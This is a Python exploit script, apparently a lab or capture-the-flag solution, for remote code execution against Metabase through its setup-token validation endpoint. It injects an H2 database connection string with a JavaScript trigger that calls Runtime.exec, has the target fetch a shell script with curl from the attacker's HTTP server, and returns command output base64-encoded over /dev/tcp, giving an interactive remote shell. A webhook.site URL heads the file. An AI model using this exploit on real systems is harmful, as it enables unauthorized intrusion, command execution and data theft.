https://webhook.site/5f44cd04-d186-49e2-8b78-7931598de2bb
from http.server import HTTPServer, BaseHTTPRequestHandler
from cmd import Cmd
from threading import Thread
from typing import Any
import requests, socket, json, base64
class ServerHandler(BaseHTTPRequestHandler):
def do_GET(self):
global listen_host, listen_port, exploit_page
if self.path == "/" + exploit_page:
self.send_response(200)
self.end_headers()
self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{listen_host}/{listen_port}".encode())
def log_message(self, format: str, *args: Any) -> None:
return None
def run():
global server_port
httpserver = HTTPServer(("0.0.0.0", int(server_port)), ServerHandler)
httpserver.serve_forever()
class Shell(Cmd):
prompt = "(shell) > "
def default(self, line: str):
shell(line)
def get_local_ip() -> str:
return socket.gethostbyname(socket.gethostname())
def get_token(url: str) -> str:
return requests.get(f"{url}/api/session/properties").json()["setup-token"]
def get_payload(sub_payload: str, setup_token: str) -> json:
return {
"token": setup_token,
"details": {
"details": {
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{sub_payload}\n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "sk1240256",
"engine": "h2"
}
}
def shell(command: str) -> None:
global url, listen_host, server_port, exploit_page, setup_token
requests.post(f"{url}/api/setup/validate", json = get_payload(f"java.lang.Runtime.getRuntime().exec('curl {listen_host}:{server_port}/{exploit_page} -o /dev/shm/exec.sh')", setup_token))
bind_thread = Thread(target = bind)
bind_thread.start()
requests.post(f"{url}/api/setup/validate", json = get_payload(f"java.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')", setup_token))
def bind() -> None:
global listen_port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0", int(listen_port)))
sock.listen()
conn, address = sock.accept()
data = conn.recv(1 << 12).decode()
print(f"{(base64.b64decode(data)).decode()}", end = "")
def solution() -> str:
global url, listen_host, server_port, setup_token
setup_token = get_token(url)
server_http_thread = Thread(target = run)
server_http_thread.start()
rshell = Shell()
rshell.cmdloop()
if __name__ == "__main__":
url = "http://metabase:3000"
listen_host = get_local_ip()
listen_port = "12402"
server_port = "40256"
exploit_page = "sk1240256"
solution()